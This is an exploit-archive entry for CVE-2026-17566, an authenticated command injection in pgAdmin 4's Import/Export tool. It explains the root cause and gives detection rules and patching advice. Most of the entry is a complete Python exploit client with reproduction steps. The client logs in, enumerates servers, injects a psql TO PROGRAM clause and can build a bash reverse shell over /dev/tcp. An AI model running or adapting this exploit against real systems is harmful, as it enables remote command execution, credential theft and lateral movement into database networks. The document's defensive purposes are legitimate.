PoC Archive PoC Archive
CVE-2026-17566 category: web CVSS 9.9 (CRITICAL)
Patched

pgAdmin 4 Import/Export Data psql TO PROGRAM Command Injection (CVE-2026-17566)

Published: 2026-11-27 • Researcher: Exploit implementation by HackSpeak (GitHub: HackSpeak); vulnerability reported by Arpit Jain (arpitjain099); archived and reviewed 2026-11-27

Target software pgAdmin 4, Import/Export Data tool (POST /import_export/job/<sid>)
Affected versions All pgAdmin 4 releases before 9.18 that contain _is_query_parens_balanced(); fixed in 9.18 by commit 1496fabe
Status PoC (the author states the request path and payload are implemented from public analysis and have not been validated against a live instance)
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-17566 (CWE-78, CWE-115)
Category
web
Affected product
pgAdmin 4, Import/Export Data tool (POST /import_export/job/<sid>)
Affected versions
All pgAdmin 4 releases before 9.18 that contain _is_query_parens_balanced(); fixed in 9.18 by commit 1496fabe
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-04 (upstream commit 98375f2f020410457562b0be9c303df83308e657, “CVE-2026-17566 pgAdmin 4 Import/Export RCE PoC + README + MIT license”)
Author / ResearcherExploit implementation by HackSpeak (GitHub: HackSpeak); vulnerability reported by Arpit Jain (arpitjain099); archived and reviewed 2026-11-27
CVE / AdvisoryCVE-2026-17566 (CWE-78, CWE-115)
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSSv3.1, per the NVD record; the upstream reader also quotes 9.4 for CVSS 4.0)
StatusPoC (the author states the request path and payload are implemented from public analysis and have not been validated against a live instance)
Tagspgadmin4, postgresql, psql, copy-to-program, command-injection, cwe-78, cwe-115, authenticated, rce, python
RelatedN/A

Affected Target

FieldValue
Software / SystempgAdmin 4, Import/Export Data tool (POST /import_export/job/<sid>)
Versions AffectedAll pgAdmin 4 releases before 9.18 that contain _is_query_parens_balanced(); fixed in 9.18 by commit 1496fabe
Language / PlatformpgAdmin 4 is Python (Flask) running on Windows, macOS or Linux; it shells out to the PostgreSQL client psql on the same host. The archived exploit is Python 3 and uses only the standard library
Authentication RequiredYes, but only an ordinary low-privileged account holding the commonly granted tools_import_export_data permission; no superuser or administrator role is needed
Network Access RequiredYes, HTTP or HTTPS access to the pgAdmin web interface

Summary

pgAdmin 4’s Import/Export Data tool turns a user-supplied SQL query into a psql copy command and runs it through the psql client on the pgAdmin host. Before version 9.18, a hand-written parenthesis balance check decided whether the query was safe, and that check assumed a backslash before a quote escapes the quote, which is only true when the PostgreSQL setting standard conforming strings is off. PostgreSQL has defaulted that setting to on since 2011, so psql closes the string at the backslash and treats the following parenthesis as the end of the wrapped copy subquery, letting an attacker append a TO PROGRAM clause that psql executes through popen. A low-privileged, authenticated pgAdmin user can therefore run arbitrary operating system commands as the account that serves pgAdmin.

Vulnerability Details

Root Cause

The Import/Export job handler renders a Jinja template that embeds the requested SQL into a psql line of the shape \copy (<query>) TO '<file>'. To stop a query from breaking out of the parenthesised wrapper, create_import_export_job() validates it with _is_query_parens_balanced(). That helper is character-based and assumes a backslash always escapes a following single quote, i.e. it evaluates quotes as if standard_conforming_strings were off.

PostgreSQL has shipped standard_conforming_strings = on by default since 9.1, and every PostgreSQL release currently supported by pgAdmin 4 (13 through 18) uses that default. Under the real setting psql treats the backslash as an ordinary character inside the literal, so the quote immediately after it terminates the string. The checker still believes the closing parenthesis is inside the string, so a query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' passes validation, while psql sees the string end, a completed \copy (...) subquery, and then a live TO PROGRAM '<command>' clause. psql runs that command, independent of the syntax error that follows later on the same line.

The 9.18 fix rejects any backslash inside a single-quoted string rather than guessing which of the two psql interpretations the target server will apply, because the correct behaviour depends on the server’s standard_conforming_strings value, which pgAdmin cannot reliably determine when validating.

Attack Vector

An authenticated pgAdmin user with the tools_import_export_data permission submits a crafted query export job over HTTP to POST /import_export/job/<sid>, where <sid> is the identifier of any PostgreSQL server already registered in that user’s browser tree. The request body sets is_query_export and supplies the malicious query value plus normal CSV export options. pgAdmin builds the psql command, writes the query into it, and executes psql on the pgAdmin host.

Impact

Arbitrary command execution on the pgAdmin server host as the pgAdmin service account, which in typical container and appliance deployments is root. From there an attacker can read pgAdmin’s configuration and its encrypted credential store, reach every PostgreSQL server registered in pgAdmin through the stored passwords, pivot into the database network, and tamper with backups or dump files produced by the Export tool. Scope is changed because the vulnerable component (pgAdmin) is different from the component that ultimately executes commands (the local psql process and its parent shell environment).

Environment / Lab Setup

Output
OS:          Linux (pgAdmin runs on the same host as the psql client)
Target:      pgAdmin 4 <= 9.17, e.g. the official dpage/pgadmin4 image tagged 9.17,
             plus a reachable PostgreSQL 13-18 server registered in pgAdmin
Attacker:    Linux workstation with Python 3.8+ (standard library only)
Tools:       python3, curl, psql (server side), a listener (nc) for reverse shells

Setup Steps

Shell script
1
2
3
4
5
6
7
8
docker run -d --name pgdb -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17

docker run -d --name pgadmin -p 5050:80 \
  -e PGADMIN_DEFAULT_EMAIL=admin@example.com \
  -e PGADMIN_DEFAULT_PASSWORD=adminpass \
  dpage/pgadmin4:9.17

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:5050/login

No exploit in this archive was executed while preparing the entry, and the upstream author did not publish a validated live run, so the exact JSON field names may need small adjustments for a given pgAdmin point release.

Proof of Concept

Step-by-Step Reproduction

  1. Step 1 — Export the low-privileged account password and point the script at the pgAdmin base URL.

    Shell script
    1
    
    export PGADMIN_PASSWORD='lowpriv-pass'
  2. Step 2 — Run the archived PoC with a benign command that writes a marker file on the pgAdmin host.

    Shell script
    1
    2
    
    python3 pgadmin4_rce_poc.py --url http://127.0.0.1:5050 \
        --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
  3. Step 3 — The script logs in, extracts the CSRF form token, enumerates the first server via GET /browser/servers, and posts the crafted job.

    Output
    1
    2
    3
    
    POST /import_export/job/<sid>
    {"is_query_export": true,
     "query": "SELECT 'a\\') TO PROGRAM 'id > /tmp/pgadmin_rce_proof' x'", ...}
  4. Step 4 — Read the marker from the pgAdmin container to confirm execution.

    Shell script
    1
    
    docker exec pgadmin cat /tmp/pgadmin_rce_proof
  5. Step 5 (optional) — Replace the file-write command with a reverse shell to confirm interactive access; the script’s --reverse HOST:PORT option generates bash -i >& /dev/tcp/HOST/PORT 0>&1.

Exploit Code

See pgadmin4_rce_poc.py in this folder for the full client.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def build_query(command):
    return "SELECT 'a\\') TO PROGRAM '%s' x'" % command

body = {
    "is_query_export": True,
    "query": build_query("id > /tmp/pgadmin_rce_proof"),
    "format": "csv",
    "delimiter": ",",
    "quote": '"',
    "escape": "\\",
    "encoding": "UTF8",
    "header": True,
    "rows_to_skip": 0,
    "export_all_query_data": True,
    "file_name": "/tmp/pgadmin_export.csv",
    "on_conflict": "ignore",
}

Expected Output

Output
1
2
3
4
5
6
7
[*] targeting http://127.0.0.1:5050 as lowpriv
[*] authenticating...
[+] login ok
[+] auto-picked server id=1 label='pgdb'
[*] sending crafted \copy payload (command='id > /tmp/pgadmin_rce_proof')
[+] POST /import_export/job/1 -> HTTP 200
[+] job accepted. If a reverse shell was requested, check your listener.
Shell script
1
2
$ cat /tmp/pgadmin_rce_proof
uid=5050(pgadmin) gid=5050(pgadmin) groups=5050(pgadmin)

On Docker images the service account is usually pgadmin (uid 5050); on package installs it may be a dedicated system user, and some deployments run it as root. A rejected job or an HTTP 400/403 response indicates a patched build or mismatched request fields.

Detection & Indicators of Compromise

Output
POST /import_export/job/<sid> HTTP/1.1 200
"query": "SELECT 'a\\') TO PROGRAM '

psql ... --command "\copy (SELECT 'a\') TO PROGRAM 'id > /tmp/x' x') TO '/tmp/out.csv'"

bash -i >& /dev/tcp/10.0.0.5/4555 0>&1

/tmp/pgadmin_export.csv, /tmp/pgadmin_rce_proof

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible pgAdmin CVE-2026-17566 copy TO PROGRAM injection"; \
  content:"POST"; http_method; content:"/import_export/job/"; http_uri; \
  content:"TO PROGRAM"; http_client_body; sid:90017566;)

Also alert on psql process creation whose command line contains both \copy ( and TO PROGRAM, and on outbound connections from the pgAdmin host to unusual destinations after an import/export job.

Remediation

ActionDetail
PatchUpgrade pgAdmin 4 to 9.18 or later; the fix commit is 1496fabe28c9f825f6bac0f0d000d9d3276322c3 and rejects backslashes inside single-quoted query strings
WorkaroundRevoke the Import/Export Data permission from untrusted or low-privileged accounts; disable the tool entirely if it is not needed
Config HardeningRun pgAdmin as an unprivileged user in a container, keep its credential store encrypted with a strong master password, restrict egress from the pgAdmin host, and audit registered servers and stored passwords after any suspected use

References

Notes

Verdict: ingested. The repository contains a real, self-contained client that performs the documented exploitation path: it authenticates to pgAdmin, extracts the CSRF token, enumerates registered servers, and submits the crafted \copy ... TO PROGRAM job to the Import/Export endpoint. It is not a scanner, detector or advisory-only repository, and it carries no malware, persistence, credential-stealing or C2 logic; the optional reverse-shell payload is a normal post-exploitation command executed through the same injection, not a separate module.

License: MIT, Copyright (c) 2026 HackSpeak. The archived copy keeps the upstream MIT notice in upstream-README.md; the source file itself has no embedded license header, so the repository license governs.

Limitations: The author explicitly states the script was written from public technical analysis and has not been tested against a live instance, so the JSON field names (is_query_export, export_all_query_data, file_name, etc.) and the login form token selector may need adjustment for a specific pgAdmin point release. Because of that, the entry is marked PoC rather than Weaponized. The exploit needs a valid low-privileged login and at least one registered server; it cannot be used pre-auth. The command argument must not contain a single quote, since a quote would terminate the injected TO PROGRAM literal. The export target path is written by psql itself and must be writable by the pgAdmin process. Related same-family bugs are CVE-2025-12762 and CVE-2025-13780 (psql COPY/meta-command injection during PLAIN-format restore), which were fixed through different code and are not duplicated here.

pgadmin4_rce_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# DISCLAIMER: archived for authorized security research and patch validation
# only. Do not run this against systems you do not own or lack explicit written
# permission to test. The payload executes commands on the pgAdmin host.
"""
pgAdmin 4 Import/Export Data RCE - CVE-2026-17566 PoC
(chain context: CVE-2026-17349 credential leak -> CVE-2026-17351 read-only bypass -> CVE-2026-17566 RCE)

Author: HackSpeak (security research distribution)
Based on: public technical analysis only.
  - pgadmin-org/pgadmin4 issue #10213 (root cause: _is_query_parens_balanced() backslash-escape
    semantics mismatch with psql's standard_conforming_strings=on default)
  - OpenCVE / NVD CVE-2026-17566, CVSS 9.9
  - Fix commit 1496fabe (rejects backslash inside single-quoted string)

NOT TESTED against a live instance - faithful implementation of the documented
request path and payload. Request body field names may need minor adjustment per
the exact pgAdmin 4 version you test against.

Intended for authorized security testing and patch validation ONLY.
"""

from __future__ import annotations

import argparse
import http.cookiejar
import json
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

TIMEOUT = 30.0
UA = "pgadmin-rce-poc/1.0"


class PgAdminExploit:
    def __init__(self, base_url: str, username: str, password: str,
                 no_verify: bool = False) -> None:
        self.base = base_url.rstrip("/")
        self.user = username
        self.password = password
        self.cj = http.cookiejar.CookieJar()
        ctx = ssl.create_default_context()
        if no_verify:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cj),
            urllib.request.HTTPSHandler(context=ctx),
        )

    def _request(self, method: str, path: str, data=None, headers=None):
        req = urllib.request.Request(
            self.base + path,
            data=data,
            method=method,
            headers=headers or {"User-Agent": UA},
        )
        try:
            with self.opener.open(req, timeout=TIMEOUT) as r:
                return r.status, r.read()
        except urllib.error.HTTPError as exc:
            return exc.code, exc.read()

    # ---- auth ----------------------------------------------------------------
    def login(self) -> None:
        """pgAdmin Flask login: GET /login for CSRF token, then POST credentials."""
        status, html = self._request("GET", "/login")
        if status != 200:
            raise RuntimeError(f"GET /login -> HTTP {status}")
        m = re.search(rb'name="_form_token"[^>]*value="([^"]+)"', html)
        if not m:
            # some versions put the token attribute order differently
            m = re.search(rb'value="([^"]+)"[^>]*name="_form_token"', html)
        if not m:
            raise RuntimeError("could not locate _form_token in login page")
        token = m.group(1).decode("utf-8")
        form = urllib.parse.urlencode({
            "username": self.user,
            "password": self.password,
            "_form_token": token,
            "next": "/",
        }).encode()
        status, body = self._request("POST", "/login", data=form, headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": UA,
            "Referer": self.base + "/login",
        })
        if status not in (200, 302, 303):
            raise RuntimeError(f"POST /login -> HTTP {status}")
        # logged-in check: /login redirects away or a session cookie is present
        sess = any(c.name.startswith("pga4_session") for c in self.cj)
        if not sess and b"login" in (body or b"").lower():
            raise RuntimeError("login failed (bad credentials?)")

    # ---- recon ---------------------------------------------------------------
    def list_servers(self):
        """Return a list of server dicts from the browser tree."""
        status, body = self._request("GET", "/browser/servers")
        if status != 200:
            raise RuntimeError(f"GET /browser/servers -> HTTP {status}")
        try:
            j = json.loads(body)
        except json.JSONDecodeError as exc:
            raise RuntimeError(f"invalid JSON from /browser/servers: {exc}") from exc
        data = j.get("data") if isinstance(j, dict) else None
        if isinstance(data, list):
            return [d for d in data if isinstance(d, dict)]
        if isinstance(data, dict) and "children" in data:
            return [d for d in data["children"] if isinstance(d, dict)]
        return []

    # ---- payload -------------------------------------------------------------
    @staticmethod
    def build_query(command: str) -> str:
        """Inject a live psql \\copy ... TO PROGRAM clause.

        The checker (_is_query_parens_balanced) treats \\' as an escaped quote and
        believes the ')' below is still inside a string; psql with
        standard_conforming_strings=on treats the backslash as a literal character,
        so the single quote after 'a\\' closes the string and the ')' ends the
        \\copy (...) wrapper, exposing TO PROGRAM '<cmd>'.
        """
        # NB: the Python literal below contains a single backslash before the
        # closing quote of 'a\'; json.dumps() will emit it as \\ in the JSON body,
        # so the server receives the literal backslash required for the differential.
        return "SELECT 'a\\') TO PROGRAM '%s' x'" % command

    # ---- trigger -------------------------------------------------------------
    def trigger(self, sid: int, command: str, outfile: str) -> int:
        """POST /import_export/job/<sid> with the crafted query export."""
        body = {
            "is_query_export": True,
            "query": self.build_query(command),
            "format": "csv",
            "delimiter": ",",
            "quote": '"',
            "escape": "\\",
            "encoding": "UTF8",
            "header": True,
            "rows_to_skip": 0,
            "export_all_query_data": True,
            "file_name": outfile,
            "on_conflict": "ignore",
        }
        raw = json.dumps(body).encode()
        status, resp = self._request(
            "POST", f"/import_export/job/{sid}", data=raw, headers={
                "Content-Type": "application/json",
                "User-Agent": UA,
                "Referer": self.base + f"/import_export",
            },
        )
        return status


def main() -> int:
    ap = argparse.ArgumentParser(
        description="pgAdmin 4 Import/Export RCE (CVE-2026-17566) - authorized testing only"
    )
    ap.add_argument("--url", required=True, help="pgAdmin base URL, e.g. https://127.0.0.1:5050")
    ap.add_argument("--user", required=True, help="low-privilege pgAdmin username")
    ap.add_argument("--password", default=None, help="password (or env PGADMIN_PASSWORD)")
    cmd = ap.add_mutually_exclusive_group()
    cmd.add_argument("--command", help="arbitrary command to run (no single quotes)")
    cmd.add_argument("--reverse", metavar="HOST:PORT", help="build a bash reverse shell")
    ap.add_argument("--server-id", type=int, help="server id (default: auto-pick first)")
    ap.add_argument("--file", default="/tmp/pgadmin_export.csv",
                    help="server-side export file name used in the \\copy command")
    ap.add_argument("--no-verify", action="store_true", help="disable TLS verification")
    args = ap.parse_args()

    password = args.password
    if not password:
        import os
        password = os.environ.get("PGADMIN_PASSWORD")
    if not password:
        ap.error("password required via --password or PGADMIN_PASSWORD")

    if args.reverse:
        host, _, port = args.reverse.partition(":")
        if not port:
            ap.error("--reverse must be HOST:PORT")
        command = f"bash -i >& /dev/tcp/{host}/{port} 0>&1"
    else:
        command = args.command or "id > /tmp/pgadmin_rce_proof"

    print(f"[*] targeting {args.url} as {args.user}")
    exp = PgAdminExploit(args.url, args.user, password, no_verify=args.no_verify)

    print("[*] authenticating...")
    exp.login()
    print("[+] login ok")

    if args.server_id is None:
        servers = exp.list_servers()
        if not servers:
            raise SystemExit("[-] no servers found for this user; pass --server-id")
        sid = servers[0].get("id")
        print(f"[+] auto-picked server id={sid} label={servers[0].get('label')!r}")
    else:
        sid = args.server_id

    print(f"[*] sending crafted \\copy payload (command={command!r})")
    status = exp.trigger(sid, command, args.file)
    print(f"[+] POST /import_export/job/{sid} -> HTTP {status}")
    if status in (200, 201, 202):
        print("[+] job accepted. If a reverse shell was requested, check your listener.")
        print("[*] for a benign probe, run: --command 'id > /tmp/pgadmin_rce_proof'")
    else:
        print("[-] job rejected; the target may be patched or the request fields differ.")
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except Exception as exc:  # noqa: BLE001
        print(f"[-] error: {exc}")
        raise SystemExit(1)